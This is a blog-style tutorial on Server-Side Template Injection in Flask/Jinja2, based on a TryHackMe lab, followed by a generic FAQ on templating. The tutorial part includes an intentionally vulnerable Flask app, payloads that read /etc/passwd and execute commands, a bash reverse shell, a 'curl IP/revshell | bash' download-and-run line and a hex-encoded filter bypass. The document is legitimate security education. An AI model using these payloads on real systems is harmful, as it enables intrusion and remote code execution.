Flask, a lightweight Python web application framework, is one of my favorite and most-used tools. While it is great for building simple APIs and microservices, it can also be used for fully-fledged web applications relying on server-side rendering. To so, Flask depends on the powerful and popular Jinja2 templating engine.
I recently stumbled across Flask in the context of @toxicat0r’s new Temple room on TryHackMe. While the room also features some other interesting things, at its core, it is all about a Server-Side Template Injection (SSTI) attack.
While not as common as SQLi, LFI/RFI, or XSS, Server-Side Template Injection is a very interesting and dangerous attack vector that is often overlooked when developing web applications.
Fundamentally, SSTI is all about misusing the templating system and syntax to inject malicious payloads into templates. As these are rendered on the server, they provide a possible vector for remote code execution. For a more thorough introduction, definitely have a look at this great article by PortSwigger.
In this article, after an introduction to some fundamental technical concepts, we are going to look at an SSTI example using a simplified version of the Temple room.
Some Fundamentals: Flask, Jinja2, Python
Before going into the actual example, we will look at a few fundamentals. First, we will briefly look at Flask and Jinja2 before looking at how we can navigate through Python’s object inheritance tree.
Flask and Jinja2
Jinja2 is a powerful templating engine used in Flask. While it does many more things, it essentially allows us to write HTML templates with placeholders that are later dynamically populated by the application.
<div> <h1>Article</h1> {{ article_text }}</div>
In the example above, we can see a a straightforward Jinja2 template. When rendering the template, Jina2 will dynamically replace `` with the corresponding variable.
In Flask, this would be used as follows:
@app.route('/index')def index(): article = ... return render_template('article.html', article_text=article)
We assume that the template is stored in a file called article.html
. When this route is called, {{ article_text }}
will be replaced with article
before sending the content to the user.
In a similar fashion, we could also use render_template_string(template)
to use a template string instead of a file. This is what you will see below.
Also, it is important to realize that Jinja2 has a quite elaborate templating syntax. Instead of just placeholders, we can also have, for example, loops and conditions in these templates. Most importantly, however, the {{ }}
placeholders have access to the actual objects passed via Flask. If we are, for example, passing a list example_list
, we can use {{ example_list[0] }}
as we would in our regular Python code.
Navigating Python Objects and Inheritance Trees
In Python, everything is an object! While this is a fundamental property and feature of the language, we are going to focus on one very particular thing one can do: navigating the inheritance tree of objects and, thus, classes.
In the following example, we are trying to read a file called test.txt
using _io.FileIO
. However, instead of just using regular function calls, we will start from a str
object and work our way to the _io.FileIO
class.
While this does not make any sense in (most) regular programming, we will leverage this capability later:
We start with a simple str
object. For now, we are using abc, but it could be any arbitrary string:
'abc'
Now we access its __class__
:
'abc'.__class__
str
Going further, we access its __base__
:
'abc'.__class__.__base__
object
Now, we can look at all __subclasses__
of object
. This will get us a long list of available Python classes.
'abc'.__class__.__base__.__subclasses__()
In this list, we are now looking for the _io._IOBase
class, which, in this example, sits at index 96 of the __subclasses__
:
'abc'.__class__.__base__.__subclasses__()[96]
_io._IOBase
We need to go further to find the _io._RawIOBase
class. Hence, we are repeating the same process as above:
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0]
_io._RawIOBase
Repeating the same process again, we can get to the desired _io.FileIO
:
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0].__subclasses__()[0]
_io.FileIO
Finally, we can use this class to construct a file object and read our file:
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0].__subclasses__()[0]('test.txt').read()
Do not let this confuse or discourage you! Ultimately, we are still working with a regular file object. However, instead of just using, for example, open()
, we navigated to it starting from a str
object.
You should also be aware that many SSTI tutorials and cheat sheets demonstrate this using __subclasses__()[40]
. This does rarely work today as Python 3 is using the new io
modules for file objects.
Also, keep in mind that there are many ways to get to the same destination. This was, for demonstration purposes, a very extensive example. Feel free to explore better (i.e., shorter) ways of getting the same result!
Especially if you are looking at other examples, you will also come across Python’s Method Resolution Order (MRO). While the MRO, especially looking at differences between old-style and new-style classes, is very interesting, we primarily care for __mro__
right now. As per the documentation, “[t]his attribute is a tuple of classes that are considered when looking for base classes during method resolution.”
Put simply, while __subclassess__
can be used to go down inherited objects, __mro__
allows us to go back up the inheritance tree.
Here’s an example to demonstrate the concept as clearly as possible:
class A(object): def __repr__(self): return 'A'class B_one(A): def __repr__(self): return 'B'class B_two(A): def __repr__(self): return 'B'class C(B_one): def __repr__(self): return 'B'
A.__subclasses__()=> [__main__.B_one, __main__.B_two]
A
is inherited by both B_one
and B_two
.
C.__mro__=> (__main__.C, __main__.B_one, __main__.A, object)
C
has inherited B
and hence also, albeit indirectly, A
.
Temple on TryHackMe
As I said above, the inspiration for this article stems from a recent (October 2021) TryHackMe room by @toxicat0r that explores, besides other things, an SSTI in a Flask application.
While this is definitely not a writeup for Temple, I want to use the room to motivate the following as it presents a rather realistic scenario.
After a quite challenging enumeration phase, one can find a Flask-based web application which ultimately leads to a foothold on the server.
In the application, there is an account page (see above) that displays some information about the current user. The actual vulnerability hides behind the Logged in as XXX field, which works by populating a Jinja2 template directly from a database.
For this example (see screenshot), an account was registered using {{6*7}}
as the username. Instead of showing this as the username, the expression is rendered on the server and displayed as 42 in the application.
We are exploiting the fact that the template is rendered on the server by Jinja2. Using the templating syntax, we might be able to execute a malicious payload, instead of just a simple expression, during rendering.
Below you can see a stripped down, simplified version of the application present in Temple. While the SSTI is a key part of the challenge, this should not spoil the room completely.
from flask import Flask, abort, request, render_template_stringimport jinja2, re, hashlibapp = Flask(__name__)app.secret_key = b'SECRET_KEY'@app.route('/filter', methods=['GET'])def filter(): payload = request.args.get('payload') bad_chars = "'_#&;" if any(char in bad_chars for char in payload): abort(403) template = ''' <!DOCTYPE html> <html> <head> <title>No Filter</title> </head> <body> <p>''' + payload + '''</p> </body> </html>''' return render_template_string(template)@app.route('/no_filter', methods=['GET'])def no_filter(): payload = request.args.get('payload') template = ''' <!DOCTYPE html> <html> <head> <title>No Filter</title> </head> <body> <p>''' + payload + '''</p> </body> </html>''' return render_template_string(template)if __name__ == '__main__': app.run(host='0.0.0.0', port=80, debug=False)
The actual room also features a character-based filter to prevent some characters (see bad_chars
) from being used in payloads. This, while being relatively simplistic, is a common strategy to mitigate such attacks. In the following, we are going to explore how this vulnerability can be exploited and how we can bypass the filter.
Exploiting the SSTI
We are now going to use this example to demonstrate an actual SSTI attack. After a relatively simple PoC, we are going to read /etc/passwd
and also gain a reverse shell.
Simple Proof-of-Concept
A trusted way of checking for SSTIs is to inject a simple expression which we expect to be executed/evaluated by the templating engine. To do so, we are using the {{ ... }}
syntax native to Jinja2.
For example, as Jinja2 supports basic arithmetic expressions, we can test {{7*12}}
as our payload:
As we can see, the expression has been executed/evaluated, and we are seeing the result and not the initial payload.
This is also a nice example of how SSTI attacks fundamentally differ from XSS ones as the code is actually being executed on the server and not the client. That said, it is very easy to mistake SSTI for XSS if we are not using payloads for fuzzing that “change” after they are being evaluated by the templating engine.
Another, more useful, PoC is to read Flask’s config
object like this:
http://IP/no_filter?payload={{config}}
It, for example, contains the application’s SECRET_KEY
.
Traditional Exploitation
Unfortunately (?), we cannot directly execute (arbitrary) Python commands in a Jinja2 template. However, as seen above, we have access to some objects (e.g., config
). Having access to these objects allows us to perform the trick we have learned above.
http://IP?payload={{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}
If we use the payload from above, we can read the /etc/passwd
file as the code is being executed on the server by the templating engine. If you look closely, you will see that I have changed from 96
to 92
in order to reflect the new environment. In order to get there, you will have to first look at __base__.__subclasses__()
and determine the correct index.
RCE Payload and Bypassing Filters
In a brilliant OnSecurity article, Gus Ralph presents a very clever RCE payload that leverages the fact that Flask/Jinja2 templates have the request
object available to them.
Leveraging the same tricks, the following payload would execute id
using Python’s os.popen()
:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
In regular Python, we are just doing the following:
import osos.popen('id')
As we can see, the payload works, and we are seeing the output of id
. For this example, I ran the application in a Kali VM.More importantly, this particular payload is not only relatively short, but we also do not need to find any specific index before running it.
Of course, we can now modify the payload to do something more interesting. Below, we are using the same basic payload to download a script (revshell
) from our attacker VM and execute it using bash
.
#!/bin/bashbash -c "bash -i >& /dev/tcp/IP/4000 0>&1"
(revshell
is just a simple revers shell)
{{request.application.__globals__.__builtins__.__import__('os').popen('curl IP/revshell | bash').read()}}
Bypassing Filters
If you remember, the actual Temple challenge featured a character-based filter which makes running such payloads quite a bit harder. More precisely, in our example, we cannot use any of these characters: '_#&;
.
While we are going to look at this specific payload example, have a look at both HackTricks and PayloadsAllTheThings for a good overview of various bypassing strategies.
Alright! The modified payload, also heavily inspired by Gus Ralph, we are going to end up using will look like this:
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}
This looks complicated! However, to bypass the filters, we are essentially only using two strategies: Leveraging the Jina2 attr()
filter and hex encoding.
Let’s look at a sample portion of the payload: |attr("\x5f\x5fglobals\x5f\x5f")
.
The |
indicates to Jija2 that we are applying a filter. The attr()
filter “get[s] an attribute of an object”. As per the documentation, “foo|attr("bar")
works like foo.bar
.” \x5f
is simply the hex representation of _
.
Combining these two strategies we can craft a payload that does not use any of the “forbidden” (i.e., bad/filtered) characters.
Above, you can see how the payload finally executes. First, revshell
is downloaded from the Python http.server
(attacker), and shortly after pwncat
receives our new shell from the target. It’s also just quite satisfying to watch …
Conclusion
This article, very obviously, is not a thorough introduction to Server-Side Template Injection. However, I hope to have shown how this type of injection can easily become very dangerous. This is particularly problematic as many developers - me included - often focus on other more common types of injections.
Aside from the security implications, this is also a nice opportunity to experiment with Python and some of the awesome metaprogramming features it has to offer!
Finally, if you happen to be on TryHackMe, give Temple a go! It’s a challenging room that, aside from some almost frustrating enumeration, has quite a bit to offer!
P.S. After trying to publish this post, I realized that my static site generator interpreted all of the {{ }}
tags, and I had to go back escaping all of them. Way to go!
FAQs
How do you use a Jinja2 Flask? ›
Flask leverages Jinja2 as its template engine. You are obviously free to use a different template engine, but you still have to install Jinja2 to run Flask itself. This requirement is necessary to enable rich extensions. An extension can depend on Jinja2 being present.
What is a server-side template? ›Server-side templates allow developers to pre-populate a web page with custom user data directly on the server. After all, it is often faster to make all the requests within a server than to make extra browser-to-server roundtrips for them.
Where is a server-side template injection executed? ›Server-side template injection occurs when user-controlled input is embedded into a server-side template, allowing users to inject template directives. This allows an attacker to inject malicious template directives and possibly execute arbitrary code on the affected server.
Does Jinja2 have Flask? ›Flask comes packaged with Jinja2, and hence we just need to install Flask. For this series, I recommend using the development version of Flask, which includes much more stable command line support among many other features and improvements to Flask in general.
What is Jinja2 template in Flask? ›Flask uses templates to expand the functionality of a web application while maintaining a simple and organized file structure. Templates are enabled using the Jinja2 template engine and allow data to be shared and processed before being turned in to content and sent back to the client.
What is Jinja2 template? ›Jinja2 is a Python library that you can use to construct templates for various output formats from a core template text file. It can be used to create HTML templates for IBM® QRadar® applications.
How does template injection work? ›Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data.
What is client-side template injection? ›Description: Client-side template injection
Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered, the framework will scan the page for template expressions, and execute any that it encounters.
In python, template is a class of String module. It allows for data to change without having to edit the application. It can be modified with subclasses. Templates provide simpler string substitutions as described in PEP 292. Templates substitution is “$“-based substitutions, rather than “%“-based substitutions.
Can SSTI lead to RCE? ›What is SSTI? Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).
What are template engines used for? ›
A template engine enables you to use static template files in your application. At runtime, the template engine replaces variables in a template file with actual values, and transforms the template into an HTML file sent to the client. This approach makes it easier to design an HTML page.
Which of the following is a server-side templating software? ›Some of the most commonly used server-side template engines are Jinja2 or Jinja, Freemaker, Mako, Velocity, Smarty, Tornado, Genshi, Twig, Mustache, etc.
What is Jinja2 template in Ansible? ›Jinja2 templates are simple template files that store variables that can change from time to time. When Playbooks are executed, these variables get replaced by actual values defined in Ansible Playbooks. This way, templating offers an efficient and flexible solution to create or alter configuration file with ease.
What are Flask templates? ›Templates are files that contain static data as well as placeholders for dynamic data. A template is rendered with specific data to produce a final document. Flask uses the Jinja template library to render templates. In your application, you will use templates to render HTML which will display in the user's browser.
Which three of the following filters are supported in Jinja2 templates? ›- Filters For Formatting Data. ...
- Set Theory Filters. ...
- Random Number Filter. ...
- Math. ...
- Hashing filters. ...
- Combining hashes/dictionaries. ...
- Extracting values from containers. ...
- Comment Filter.
On an ansible control node, write a jinja2 template file which can easily access the variables defined in the same directory or in playbook. Here, you can notice the value gets changed on the output. As {{ }} is also a syntax of jinja2 template, it can access the variable and change the value to the actual one.
How do you display dynamic data tables with Python Flask and jinja2? ›How to display dynamic data tables with Python, Flask, and Jinja2
How do I render a Python template? ›render_template is a Flask function from the flask. templating package. render_template is used to generate output from a template file based on the Jinja2 engine that is found in the application's templates folder. Note that render_template is typically imported directly from the flask package instead of from flask.
Which three features are included in the Jinja2 template? ›- sandboxed execution.
- automatic HTML escaping to prevent cross-site scripting (XSS) attacks.
- template inheritance.
- compiles down to the optimal Python code just-in-time.
- optional ahead-of-time template compilation.
Jinja2 works with Python 2.6. x, 2.7. x and >= 3.3. If you are using Python 3.2 you can use an older release of Jinja2 (2.6) as support for Python 3.2 was dropped in Jinja2 version 2.7.
What is Jinja template in airflow? ›
Templating in Airflow works exactly the same as templating with Jinja in Python: define your to-be-evaluated code between double curly braces, and the expression will be evaluated at runtime. As we saw in the previous code snippet, execution_date is a variable available at runtime.
What is HTML injection? ›What is HTML Injection. HTML Injection also known as Cross Site Scripting. It is a security vulnerability that allows an attacker to inject HTML code into web pages that are viewed by other users.
What is command injection? ›Command injection is a cyber attack that involves executing arbitrary commands on a host operating system (OS). Typically, the threat actor injects the commands by exploiting an application vulnerability, such as insufficient input validation.
What is uber template injection? ›Template injection is a class of vulnerability that involves using template framework functionality in an unexpected way. These templating frameworks often have the ability to make system calls. In the event that untrusted user input is supplied to a template framework in a dangerous way, the result can be RCE.
What is Template injection in angular? ›AngularJS client-side template injection vulnerabilities occur when user-input is dynamically embedded on a page where AngularJS client-side templating is used. By using curly braces it's possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application.
What is the templating engine being used within node JS? ›EJS is one of the template engines used with Node JS to generate HTML markups with plain Javascript. EJS stands for Embedded JavaScript Templates.
What is XSS and how do you prevent it? ›XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database. How do I prevent XSS in PHP? Filter your inputs with a whitelist of allowed characters and use type hints or type casting.
How do I use a template in flask? ›html template file in a directory called templates inside your flask_app directory. Flask looks for templates in the templates directory, which is called templates , so the name is important. Make sure you're inside the flask_app directory and run the following command to create the templates directory: mkdir templates.
What is a template engine Python? ›Template engines take in tokenized strings and produce rendered strings with values in place of the tokens as output. Templates are typically used as an intermediate format written by developers to programmatically produce one or more desired output formats, commonly HTML, XML or PDF.
Where can I write Python codes online? ›Write, Run & Share Python code online using OneCompiler's Python online compiler for free. It's one of the robust, feature-rich online compilers for python language, supporting both the versions which are Python 3 and Python 2.7. Getting started with the OneCompiler's Python editor is easy and fast.
Are template engines Good? ›
Using template engines for complex front end rendering is bad and not a good practice.
Is templating engine necessary? ›You need a template engine in order to interpolate data-bound values into your markup. They're still absolutely necessary with any non-static web application.
What is templating programming? ›Template metaprogramming (TMP) is a metaprogramming technique in which templates are used by a compiler to generate temporary source code, which is merged by the compiler with the rest of the source code and then compiled.
Is Flask client-side or server-side? ›From what I understand (I too just recently started learning web development) a web framework (like Flask and Django for Python or Rails for Ruby) is used to make the server-side scripting easier for the developer.
What are some commonly used client-side templating systems? ›- underscore.js.
- Jade.
- haml-js.
- jQote2.
- doT.
- Stencil.
- Parrot.
- Eco.
Server-side scripts run on the server instead of the client, often in order to deliver dynamic content to webpages in response to user actions. Server-side scripts don't have to be written in JavaScript, since the server may support a variety of languages.
How Ansible is used in simple IT automation? ›Ansible works by connecting to your nodes and pushing out small programs, called modules to them. Modules are used to accomplish automation tasks in Ansible. These programs are written to be resource models of the desired state of the system. Ansible then executes these modules and removes them when finished.
How do I use Ansible template module? ›You can use Ansible facts, variables, and user-defined variables in your Jinja2 templates. On your Jinja2 template, you can print the value of a variable using the {{ variableName }} syntax. If the variable is an object, you can print individual object properties using the {{ objectVariable. propertyName }} syntax.
How do you write a Flask code in HTML? ›- First, create a new folder in the project directory called templates. Create a new file in the templates folder naming “home. html”. Copy/paste this simple code. ...
- Now open app.py and add the following code. from flask import Flask, render_template. app = Flask(__name__) @app.
- flaskr/ , a Python package containing your application code and files.
- tests/ , a directory containing test modules.
- venv/ , a Python virtual environment where Flask and other dependencies are installed.
- Installation files telling Python how to install your project.
- Version control config, such as git.
What is static and template in Flask? ›
Folder structure for a Flask app
That folder contains two folders, specifically named static and templates. The static folder contains assets used by the templates, including CSS files, JavaScript files, and images.
- Store value in a variable in jinja template for later use.
- Case statement for setting var in Ansible/Jinja2.
- Reference template variable within Jinja expression.
- Substring at flask template.
- {% ... %} for conditions, expressions that will be evaluated.
- {{ ... }} for values to print to the template output.
- {# ... #} for comments not included in the template output.
- # ... ## for line statements.
A Jinja template doesn't need to have a specific extension: . html, . xml, or any other extension is just fine.
How do you escape jinja2? ›To escape jinja2 syntax in a jinja2 template with Python Flask, we can put render the template code without interpretation by putting the code in the {% raw %} block.
How do I render a template in Flask? ›Make sure you have activated your environment and have Flask installed, and then you can start building your application. The first step is to display a message that greets visitors on the index page. You'll use Flask's render_template() helper function to serve an HTML template as the response.
How do I render a page in Flask? ›- First, create a new folder in the project directory called templates. Create a new file in the templates folder naming “home. html”. Copy/paste this simple code. ...
- Now open app.py and add the following code. from flask import Flask, render_template. app = Flask(__name__) @app.
- Choose a Python version. ...
- Install a text editor or IDE. ...
- Start a new project with virtualenv. ...
- Install Flask and the Twilio Python SDK. ...
- Create a simple Flask application. ...
- The Django Alternative. ...
- Install ngrok.